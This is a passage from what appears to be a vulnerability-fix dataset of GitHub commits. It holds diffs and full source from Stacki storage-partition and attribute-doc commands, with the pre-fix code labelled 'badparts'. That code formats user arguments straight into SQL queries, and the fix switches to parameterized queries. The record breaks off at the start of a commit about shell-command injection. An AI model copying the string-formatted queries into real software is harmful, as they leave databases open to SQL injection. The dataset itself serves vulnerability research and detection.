name)\n\t\t\ttableid, = self.db.fetchone()\n\n\t\t#\n\t\t# make sure the specification for mountpt doesn't already exist\n\t\t#\n\t\tif mountpt:\n\t\t\tself.checkIt(device, scope, tableid, mountpt)\n\n\t\tif not options:\n\t\t\toptions = \"\"\n\t\t\n\t\t#\n\t\t# now add the specifications to the database\n\t\t#\n\n\n\t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"\n\t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\\n\t\t\t(scope, tableid, device, mountpt, size, fstype, options)\n\n\t\tif partid:\n\t\t\tsqlvars += \", PartID\"\n\t\t\tsqldata += \", %s\" % partid\n\n\n\t\tself.db.execute(\"\"\"insert into storage_partition\n\t\t\t(%s) values (%s) \"\"\" % (sqlvars, sqldata))\n\n"}, "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py": {"changes": [{"diff": "\n \t\t\t\tscope = 'host'\n \t\tif not scope:\n \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n+\n \t\tquery = None\n \t\tif scope == 'global':\n \t\t\tif globalOnlyFlag:\n-\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid \n+\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\t\tfrom storage_partition\n \t\t\t\t\twhere scope = 'global'\n \t\t\t\t\torder by device,partid,fstype, size\"\"\"\n", "add": 2, "remove": 1, "filename": "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py", "badparts": ["\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid "], "goodparts": ["\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid"]}, {"diff": "\n \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n \t\t\t\t\tappliances as a on p.tableid=a.id where\n \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n-\n-\n-\n-\n \t\telif scope == 'os':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id\n-\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]\n+\t\t\t\tfrom oses where name = %s) order by device,partid,fstype,size\"\"\"\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"appliance\"\n \t\t\t\tand tableid = (select id from appliances\n-\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n+\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"\n \t\telif scope == 'host':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope=\"host\" and\n \t\t\t\ttableid = (select id from nodes\n-\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n+\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"\n \n \t\tif not query:\n \t\t\treturn\n \n \t\tself.beginOutput()\n \n-\t\tself.db.execute(query)\n-\t\ti = 0\n-\t\tfor row in self.db.fetchall():\n-\t\t\tname, device, mountpoint, size, fstype, options, partid = row\n+\t\tif scope == 'global':\n+\t\t\tself.db.execute(query)\n+\t\telse:\n+\t\t\tself.db.execute(query, [args[0]])\n+\n+\t\tfor name, device, mountpoint, size, fstype, options, partid in self.db.fetchall():\n \t\t\tif size == -1:\n \t\t\t\tsize = \"recommended\"\n \t\t\telif size == -2:\n \t\t\t\tsize = \"hibernation\"\n+\n \t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":\n-\t\t\t\tname = args[0]\t\n+\t\t\t\tname = args[0]\n \n \t\t\tif mountpoint == 'None':\n \t\t\t\tmountpoint = None\n", "add": 11, "remove": 12, "filename": "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py", "badparts": ["\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]", "\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]", "\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]", "\t\tself.db.execute(query)", "\t\ti = 0", "\t\tfor row in self.db.fetchall():", "\t\t\tname, device, mountpoint, size, fstype, options, partid = row", "\t\t\t\tname = args[0]\t"], "goodparts": ["\t\t\t\tfrom oses where name = %s) order by device,partid,fstype,size\"\"\"", "\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"", "\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"", "\t\tif scope == 'global':", "\t\t\tself.db.execute(query)", "\t\telse:", "\t\t\tself.db.execute(query, [args[0]])", "\t\tfor name, device, mountpoint, size, fstype, options, partid in self.db.fetchall():", "\t\t\t\tname = args[0]"]}, {"diff": "\n \t\t\tif partid == 0:\n \t\t\t\tpartid = None\n \n-\t\t\tself.addOutput(name, [device, partid, mountpoint,\n-\t\t\t\tsize, fstype, options])\n-\n-\t\t\ti += 1\n-\n-\t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)\n+\t\t\tself.addOutput(name, [device, partid, mountpoint, size, fstype, options])\n \n+\t\tself.endOutput(header=[\n+\t\t\t'scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'\n+\t\t], trimOwner=False", "add": 4, "remove": 6, "filename": "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py", "badparts": ["\t\t\tself.addOutput(name, [device, partid, mountpoint,", "\t\t\t\tsize, fstype, options])", "\t\t\ti += 1", "\t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)"], "goodparts": ["\t\t\tself.addOutput(name, [device, partid, mountpoint, size, fstype, options])", "\t\tself.endOutput(header=[", "\t\t\t'scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'", "\t\t], trimOwner=False"]}], "source": "\n import stack.commands from stack.exception import ArgError, ParamValue class Command(stack.commands.list.command, \t\tstack.commands.OSArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.HostArgumentProcessor): \t\"\"\" \tList the storage partition configuration for one of the following: \tglobal, os, appliance or host. \t \tThis argument can be nothing, a valid 'os'(e.g., 'redhat'), a valid \tappliance(e.g., 'backend') or a host. \tIf nothing is supplied, then the global storage partition \tconfiguration will be output. \t \t \tFlag that specifies if only the 'global' partition entries should \tbe displayed. \t \t \tList host-specific storage partition configuration for backend-0-0. \t \t \tList appliance-specific storage partition configuration for all \tbackend appliances. \t \t \tList all storage partition configurations in the database. \t \t \tLists only global storage partition configuration i.e. configuration \tnot associated with a specific host or appliance type. \t \t\"\"\" \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tglobalOnly,=self.fillParams([('globalOnly', 'n')]) \t\tglobalOnlyFlag=self.str2bool(globalOnly) \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames() \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames() \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise ArgError(self, 'scope', 'must be unique or missing') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name') \t\tquery=None \t\tif scope=='global': \t\t\tif globalOnlyFlag: \t\t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\t\tfrom storage_partition \t\t\t\t\twhere scope='global' \t\t\t\t\torder by device,partid,fstype, size\"\"\" \t\t\telse: \t\t\t\tquery=\"\"\"(select scope, device, mountpoint, size, fstype, options, partid \t\t\t\t\tfrom storage_partition where scope='global') UNION ALL \t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size, \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join \t\t\t\t\tnodes as a on p.tableid=a.id where p.scope='host') UNION ALL \t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size, \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join \t\t\t\t\tappliances as a on p.tableid=a.id where \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\" \t\telif scope=='os': \t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\tfrom storage_partition where scope=\"os\" and tableid=(select id \t\t\t\tfrom oses where name='%s') order by device,partid,fstype,size\"\"\" % args[0] \t\telif scope=='appliance': \t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\tfrom storage_partition where scope=\"appliance\" \t\t\t\tand tableid=(select id from appliances \t\t\t\twhere name='%s') order by device,partid,fstype, size\"\"\" % args[0] \t\telif scope=='host': \t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\tfrom storage_partition where scope=\"host\" and \t\t\t\ttableid=(select id from nodes \t\t\t\twhere name='%s') order by device,partid,fstype, size\"\"\" % args[0] \t\tif not query: \t\t\treturn \t\tself.beginOutput() \t\tself.db.execute(query) \t\ti=0 \t\tfor row in self.db.fetchall(): \t\t\tname, device, mountpoint, size, fstype, options, partid=row \t\t\tif size==-1: \t\t\t\tsize=\"recommended\" \t\t\telif size==-2: \t\t\t\tsize=\"hibernation\" \t\t\tif name==\"host\" or name==\"appliance\" or name==\"os\": \t\t\t\tname=args[0]\t \t\t\tif mountpoint=='None': \t\t\t\tmountpoint=None \t\t\tif fstype=='None': \t\t\t\tfstype=None \t\t\tif partid==0: \t\t\t\tpartid=None \t\t\tself.addOutput(name,[device, partid, mountpoint, \t\t\t\tsize, fstype, options]) \t\t\ti +=1 \t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import ArgError, ParamValue\n\n\nclass Command(stack.commands.list.command,\n\t\tstack.commands.OSArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.HostArgumentProcessor):\n\n\t\"\"\"\n\tList the storage partition configuration for one of the following:\n\tglobal, os, appliance or host.\n\n\t\n\tThis argument can be nothing, a valid 'os' (e.g., 'redhat'), a valid\n\tappliance (e.g., 'backend') or a host.\n\tIf nothing is supplied, then the global storage partition\n\tconfiguration will be output.\n\t\n\n\t\n\tFlag that specifies if only the 'global' partition entries should\n\tbe displayed.\n\t\n\n\t\n\tList host-specific storage partition configuration for backend-0-0.\n\t\n\n\t\n\tList appliance-specific storage partition configuration for all\n\tbackend appliances.\n\t\n\n\t\n\tList all storage partition configurations in the database.\n\t\n\n\t\n\tLists only global storage partition configuration i.e. configuration\n\tnot associated with a specific host or appliance type.\n\t\n\t\"\"\"\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tglobalOnly, = self.fillParams([('globalOnly', 'n')])\n\t\tglobalOnlyFlag = self.str2bool(globalOnly)\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames()\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames()\n\t\t\texcept:\n\t\t\t\thosts = []\n\n\t\telse:\n\t\t\traise ArgError(self, 'scope', 'must be unique or missing')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\t\tif not scope:\n\t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n\t\tquery = None\n\t\tif scope == 'global':\n\t\t\tif globalOnlyFlag:\n\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid \n\t\t\t\t\tfrom storage_partition\n\t\t\t\t\twhere scope = 'global'\n\t\t\t\t\torder by device,partid,fstype, size\"\"\"\n\t\t\telse:\n\t\t\t\tquery = \"\"\"(select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\t\tfrom storage_partition where scope = 'global') UNION ALL\n\t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size,\n\t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n\t\t\t\t\tnodes as a on p.tableid=a.id where p.scope='host') UNION ALL\n\t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size,\n\t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n\t\t\t\t\tappliances as a on p.tableid=a.id where\n\t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n\n\n\n\n\t\telif scope == 'os':\n\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id\n\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]\n\t\telif scope == 'appliance':\n\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\tfrom storage_partition where scope = \"appliance\"\n\t\t\t\tand tableid = (select id from appliances\n\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n\t\telif scope == 'host':\n\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\tfrom storage_partition where scope=\"host\" and\n\t\t\t\ttableid = (select id from nodes\n\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n\n\t\tif not query:\n\t\t\treturn\n\n\t\tself.beginOutput()\n\n\t\tself.db.execute(query)\n\t\ti = 0\n\t\tfor row in self.db.fetchall():\n\t\t\tname, device, mountpoint, size, fstype, options, partid = row\n\t\t\tif size == -1:\n\t\t\t\tsize = \"recommended\"\n\t\t\telif size == -2:\n\t\t\t\tsize = \"hibernation\"\n\t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":\n\t\t\t\tname = args[0]\t\n\n\t\t\tif mountpoint == 'None':\n\t\t\t\tmountpoint = None\n\n\t\t\tif fstype == 'None':\n\t\t\t\tfstype = None\n\n\t\t\tif partid == 0:\n\t\t\t\tpartid = None\n\n\t\t\tself.addOutput(name, [device, partid, mountpoint,\n\t\t\t\tsize, fstype, options])\n\n\t\t\ti += 1\n\n\t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)\n\n"}, "/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py": {"changes": [{"diff": "\n \n \tdef run(self, params, args):\n \t\t(scope, device, mountpoint) = self.fillParams([\n-\t\t\t('scope', 'global'), ('device', None), ('mountpoint', None)])\n+\t\t\t('scope', 'global'),\n+\t\t\t('device', None),\n+\t\t\t('mountpoint', None)\n+\t\t])\n+\n \t\toses = []\n \t\tappliances = []\n \t\thosts = []\n \t\tname = None\n \t\taccepted_scopes = ['global', 'os', 'appliance', 'host']\n \n-\t\t# Some checking that we got usable input.:\n+\t\t# Some checking that we got usable input\n \t\tif scope not in accepted_scopes:\n \t\t\traise ParamValue(self, '%s' % params, 'one of the following: %s' % accepted_scopes )\n \t\telif scope == 'global' and len(args) >= 1:\n", "add": 6, "remove": 2, "filename": "/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py", "badparts": ["\t\t\t('scope', 'global'), ('device', None), ('mountpoint', None)])"], "goodparts": ["\t\t\t('scope', 'global'),", "\t\t\t('device', None),", "\t\t\t('mountpoint', None)", "\t\t])"]}, {"diff": "\n \t\tif scope != 'global':\n \t\t\tname = args[0]\n \n-\t\t#\n-\t\t# look up the id in the appropriate 'scope' table\n-\t\t#\n-\t\ttableid = -1\n-\t\ttablename = {\"os\":\"oses\", \"appliance\":\"appliances\", \"host\":\"nodes\"}\n-\t\tif scope != 'global':\n-\t\t\tself.db.execute(\"\"\"select id from %s where\n-\t\t\t\tname = '%s' \"\"\" % (tablename[scope], name))\n-\t\t\ttableid, = self.db.fetchone()\n+\t\t# Look up the id in the appropriate 'scope' table\n+\t\tif scope == 'appliance':\n+\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]\n+\t\telif scope == 'os':\n+\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]\n+\t\telif scope == 'host':\n+\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]\n+\t\telse:\n+\t\t\ttableid = -1\n \n-\t\tdeletesql = \"\"\"delete from storage_partition where\n-\t\t\tscope = '%s' and tableid = %s \"\"\" % (scope, tableid)\n+\t\tquery = 'delete from storage_partition where scope = %s and tableid = %s'\n+\t\tvalues = [scope, tableid]\n \n \t\tif device and device != '*':\n-\t\t\tdeletesql += \"\"\" and device = '%s'\"\"\" % device\n+\t\t\tquery += ' and device = %s'\n+\t\t\tvalues.append(device)\n \n \t\tif mountpoint and mountpoint != '*':\n-\t\t\tdeletesql += \"\"\" and mountpoint = '%s'\"\"\" % mountpoint\n+\t\t\tquery += ' and mountpoint = %s'\n+\t\t\tvalues.append(mountpoint)\n \n-\t\tself.db.execute(deletesql)\n+\t\tself.db.execute(query, value", "add": 16, "remove": 14, "filename": "/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py", "badparts": ["\t\ttableid = -1", "\t\ttablename = {\"os\":\"oses\", \"appliance\":\"appliances\", \"host\":\"nodes\"}", "\t\tif scope != 'global':", "\t\t\tself.db.execute(\"\"\"select id from %s where", "\t\t\t\tname = '%s' \"\"\" % (tablename[scope], name))", "\t\t\ttableid, = self.db.fetchone()", "\t\tdeletesql = \"\"\"delete from storage_partition where", "\t\t\tscope = '%s' and tableid = %s \"\"\" % (scope, tableid)", "\t\t\tdeletesql += \"\"\" and device = '%s'\"\"\" % device", "\t\t\tdeletesql += \"\"\" and mountpoint = '%s'\"\"\" % mountpoint", "\t\tself.db.execute(deletesql)"], "goodparts": ["\t\tif scope == 'appliance':", "\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]", "\t\telif scope == 'os':", "\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]", "\t\telif scope == 'host':", "\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]", "\t\telse:", "\t\t\ttableid = -1", "\t\tquery = 'delete from storage_partition where scope = %s and tableid = %s'", "\t\tvalues = [scope, tableid]", "\t\t\tquery += ' and device = %s'", "\t\t\tvalues.append(device)", "\t\t\tquery += ' and mountpoint = %s'", "\t\t\tvalues.append(mountpoint)", "\t\tself.db.execute(query, value"]}], "source": "\n import stack.commands from stack.exception import ArgRequired, ArgError, ParamValue, ParamRequired class Command(stack.commands.remove.command, \t\tstack.commands.OSArgumentProcessor, \t\tstack.commands.HostArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor): \t\"\"\" \tRemove a storage partition configuration from the database. \t \tScope of partition definition: a valid os(e.g., \t'redhat'), a valid appliance(e.g., 'backend') or a valid host \t(e.g., 'backend-0-0). Default scope is 'global'. \t \t \tZero or one argument of host, appliance or os name \t \t \tDevice whose partition configuration needs to be removed from \tthe database. \t \t \tMountpoint for the partition that needs to be removed from \tthe database. \t \t \tRemove the disk partition configuration for sda on backend-0-0. \t \t \tRemove the disk partition configuration for partition /var on sda on backend-0-0. \t \t \tRemove the disk array configuration for backend \tappliance. \t \t\"\"\" \tdef run(self, params, args): \t\t(scope, device, mountpoint)=self.fillParams([ \t\t\t('scope', 'global'),('device', None),('mountpoint', None)]) \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tname=None \t\taccepted_scopes=['global', 'os', 'appliance', 'host'] \t\t \t\tif scope not in accepted_scopes: \t\t\traise ParamValue(self, '%s' % params, 'one of the following: %s' % accepted_scopes) \t\telif scope=='global' and len(args) >=1: \t\t\traise ArgError(self, '%s' % args, 'unexpected, please provide a scope: %s' % accepted_scopes) \t\telif scope=='global' and(device is None and mountpoint is None): \t\t\traise ParamRequired(self, 'device OR mountpoint') \t\telif scope !='global' and len(args) < 1: \t\t\traise ArgRequired(self, '%s name' % scope) \t\tif scope==\"os\": \t\t\toses=self.getOSNames(args) \t\telif scope==\"appliance\": \t\t\tappliances=self.getApplianceNames(args) \t\telif scope==\"host\": \t\t\thosts=self.getHostnames(args) \t\tif scope !='global': \t\t\tname=args[0] \t\t \t\t \t\t \t\ttableid=-1 \t\ttablename={\"os\":\"oses\", \"appliance\":\"appliances\", \"host\":\"nodes\"} \t\tif scope !='global': \t\t\tself.db.execute(\"\"\"select id from %s where \t\t\t\tname='%s' \"\"\" %(tablename[scope], name)) \t\t\ttableid,=self.db.fetchone() \t\tdeletesql=\"\"\"delete from storage_partition where \t\t\tscope='%s' and tableid=%s \"\"\" %(scope, tableid) \t\tif device and device !='*': \t\t\tdeletesql +=\"\"\" and device='%s'\"\"\" % device \t\tif mountpoint and mountpoint !='*': \t\t\tdeletesql +=\"\"\" and mountpoint='%s'\"\"\" % mountpoint \t\tself.db.execute(deletesql) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import ArgRequired, ArgError, ParamValue, ParamRequired\n\n\nclass Command(stack.commands.remove.command,\n\t\tstack.commands.OSArgumentProcessor,\n\t\tstack.commands.HostArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor):\n\t\"\"\"\n\tRemove a storage partition configuration from the database.\n\n\t\n\tScope of partition definition: a valid os (e.g.,\n\t'redhat'), a valid appliance (e.g., 'backend') or a valid host\n\t(e.g., 'backend-0-0). Default scope is 'global'.\n\t\n\n\t\n\tZero or one argument of host, appliance or os name\n\t\n\n\t\n\tDevice whose partition configuration needs to be removed from\n\tthe database.\n\t\n\n\t\n\tMountpoint for the partition that needs to be removed from\n\tthe database.\n\t\n\n\t\n\tRemove the disk partition configuration for sda on backend-0-0.\n\t\n\n\t\n\tRemove the disk partition configuration for partition /var on sda on backend-0-0.\n\t\n\n\t\n\tRemove the disk array configuration for backend\n\tappliance.\n\t\n\t\"\"\"\n\n\tdef run(self, params, args):\n\t\t(scope, device, mountpoint) = self.fillParams([\n\t\t\t('scope', 'global'), ('device', None), ('mountpoint', None)])\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\t\tname = None\n\t\taccepted_scopes = ['global', 'os', 'appliance', 'host']\n\n\t\t# Some checking that we got usable input.:\n\t\tif scope not in accepted_scopes:\n\t\t\traise ParamValue(self, '%s' % params, 'one of the following: %s' % accepted_scopes )\n\t\telif scope == 'global' and len(args) >= 1:\n\t\t\traise ArgError(self, '%s' % args, 'unexpected, please provide a scope: %s' % accepted_scopes)\n\t\telif scope == 'global' and (device is None and mountpoint is None):\n\t\t\traise ParamRequired(self, 'device OR mountpoint')\n\t\telif scope != 'global' and len(args) < 1:\n\t\t\traise ArgRequired(self, '%s name' % scope)\n\n\t\tif scope == \"os\":\n\t\t\toses = self.getOSNames(args)\n\t\telif scope == \"appliance\":\n\t\t\tappliances = self.getApplianceNames(args)\n\t\telif scope == \"host\":\n\t\t\thosts = self.getHostnames(args)\n\n\t\tif scope != 'global':\n\t\t\tname = args[0]\n\n\t\t#\n\t\t# look up the id in the appropriate 'scope' table\n\t\t#\n\t\ttableid = -1\n\t\ttablename = {\"os\":\"oses\", \"appliance\":\"appliances\", \"host\":\"nodes\"}\n\t\tif scope != 'global':\n\t\t\tself.db.execute(\"\"\"select id from %s where\n\t\t\t\tname = '%s' \"\"\" % (tablename[scope], name))\n\t\t\ttableid, = self.db.fetchone()\n\n\t\tdeletesql = \"\"\"delete from storage_partition where\n\t\t\tscope = '%s' and tableid = %s \"\"\" % (scope, tableid)\n\n\t\tif device and device != '*':\n\t\t\tdeletesql += \"\"\" and device = '%s'\"\"\" % device\n\n\t\tif mountpoint and mountpoint != '*':\n\t\t\tdeletesql += \"\"\" and mountpoint = '%s'\"\"\" % mountpoint\n\n\t\tself.db.execute(deletesql)\n"}, "/common/src/stack/command/stack/commands/set/attr/doc/__init__.py": {"changes": [{"diff": "\n \t\t\t('doc', None, True),\n \t\t\t])\n \n-\t\trows = self.db.execute(\"\"\"\n-\t\t\tselect attr from attributes where attr='%s'\n-\t\t\t\"\"\" % (attr))\n+\t\trows = self.db.select('attr from attributes where attr=%s', (attr,))\n \n \t\tif not rows:\n \t\t\traise CommandError(self, 'Cannot set documentation for a non-existant attribute')\n \n-\t\tself.db.execute(\"\"\"\n-\t\t\tdelete from attributes_doc where attr='%s'\n-\t\t\t\"\"\" % (attr))\n+\t\tself.db.execute('delete from attributes_doc where attr=%s', (attr,))\n \n \t\tif doc:\n-\t\t\tself.db.execute(\n-\t\t\t\t\"\"\"\n-\t\t\t\tinsert into attributes_doc\n-\t\t\t\t(attr, doc)\n-\t\t\t\tvalues ('%s', '%s')\n-\t\t\t\t\"\"\" % (attr, doc))\n+\t\t\tself.db.execute(\"\"\"\n+\t\t\t\tinsert into attributes_doc(attr, doc) values (%s, %s)\n+\t\t\t\"\"\", (attr, doc))\n", "add": 5, "remove": 12, "filename": "/common/src/stack/command/stack/commands/set/attr/doc/__init__.py", "badparts": ["\t\trows = self.db.execute(\"\"\"", "\t\t\tselect attr from attributes where attr='%s'", "\t\t\t\"\"\" % (attr))", "\t\tself.db.execute(\"\"\"", "\t\t\tdelete from attributes_doc where attr='%s'", "\t\t\t\"\"\" % (attr))", "\t\t\tself.db.execute(", "\t\t\t\t\"\"\"", "\t\t\t\tinsert into attributes_doc", "\t\t\t\t(attr, doc)", "\t\t\t\tvalues ('%s', '%s')", "\t\t\t\t\"\"\" % (attr, doc))"], "goodparts": ["\t\trows = self.db.select('attr from attributes where attr=%s', (attr,))", "\t\tself.db.execute('delete from attributes_doc where attr=%s', (attr,))", "\t\t\tself.db.execute(\"\"\"", "\t\t\t\tinsert into attributes_doc(attr, doc) values (%s, %s)", "\t\t\t\"\"\", (attr, doc))"]}], "source": "\n import stack.commands from stack.exception import CommandError class Command(stack.commands.Command): \t\"\"\" \tChanges a string containing documention for an attribute \t \tName of the attribute \t \t \tDocumentation of the attribute \t \t \t \tSets the documentation string for 'ssh.use_dns' \t \tlist attr doc \tset attr \t\"\"\" \tdef run(self, params, args): \t\t(attr, doc)=self.fillParams([ \t\t\t('attr', None, True), \t\t\t('doc', None, True), \t\t\t]) \t\trows=self.db.execute(\"\"\" \t\t\tselect attr from attributes where attr='%s' \t\t\t\"\"\" %(attr)) \t\tif not rows: \t\t\traise CommandError(self, 'Cannot set documentation for a non-existant attribute') \t\tself.db.execute(\"\"\" \t\t\tdelete from attributes_doc where attr='%s' \t\t\t\"\"\" %(attr)) \t\tif doc: \t\t\tself.db.execute( \t\t\t\t\"\"\" \t\t\t\tinsert into attributes_doc \t\t\t\t(attr, doc) \t\t\t\tvalues('%s', '%s') \t\t\t\t\"\"\" %(attr, doc)) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import CommandError\n\n\nclass Command(stack.commands.Command):\n\t\"\"\"\n\tChanges a string containing documention for an attribute\n\n\t\n\tName of the attribute\n\t\n\n\t\n\tDocumentation of the attribute\n\t\n\t\n\t\n\tSets the documentation string for 'ssh.use_dns'\n\t\n\n\tlist attr doc\n\tset attr\n\t\"\"\"\n\n\n\tdef run(self, params, args):\n\n\t\t(attr, doc) = self.fillParams([\n\t\t\t('attr', None, True),\n\t\t\t('doc', None, True),\n\t\t\t])\n\n\t\trows = self.db.execute(\"\"\"\n\t\t\tselect attr from attributes where attr='%s'\n\t\t\t\"\"\" % (attr))\n\n\t\tif not rows:\n\t\t\traise CommandError(self, 'Cannot set documentation for a non-existant attribute')\n\n\t\tself.db.execute(\"\"\"\n\t\t\tdelete from attributes_doc where attr='%s'\n\t\t\t\"\"\" % (attr))\n\n\t\tif doc:\n\t\t\tself.db.execute(\n\t\t\t\t\"\"\"\n\t\t\t\tinsert into attributes_doc\n\t\t\t\t(attr, doc)\n\t\t\t\tvalues ('%s', '%s')\n\t\t\t\t\"\"\" % (attr, doc))\n"}}, "msg": "INTERNAL: Fix SQL injections in `set attr doc` and `storage partition` commands"}}, "https://github.com/dgabbe/os-x": {"bb2ded2dbbbac8966a77cc8aa227011a8b8772c0": {"url": "https://api.github.com/repos/dgabbe/os-x/commits/bb2ded2dbbbac8966a77cc8aa227011a8b8772c0", "html_url": "https://github.com/dgabbe/os-x/commit/bb2ded2dbbbac8966a77cc8aa227011a8b8772c0", "message": "For sudo commands, removed 'sudo' from read commands. Added shlex call to prevent injection attacks. Various other issues remain in the code.", "sha": "bb2ded2dbbbac8966a77cc8aa227011a8b8772c0", "keyword": "command injection prevent", "diff": "diff --git a/os-x-config/standard_tweaks/install_mac_tweaks.py 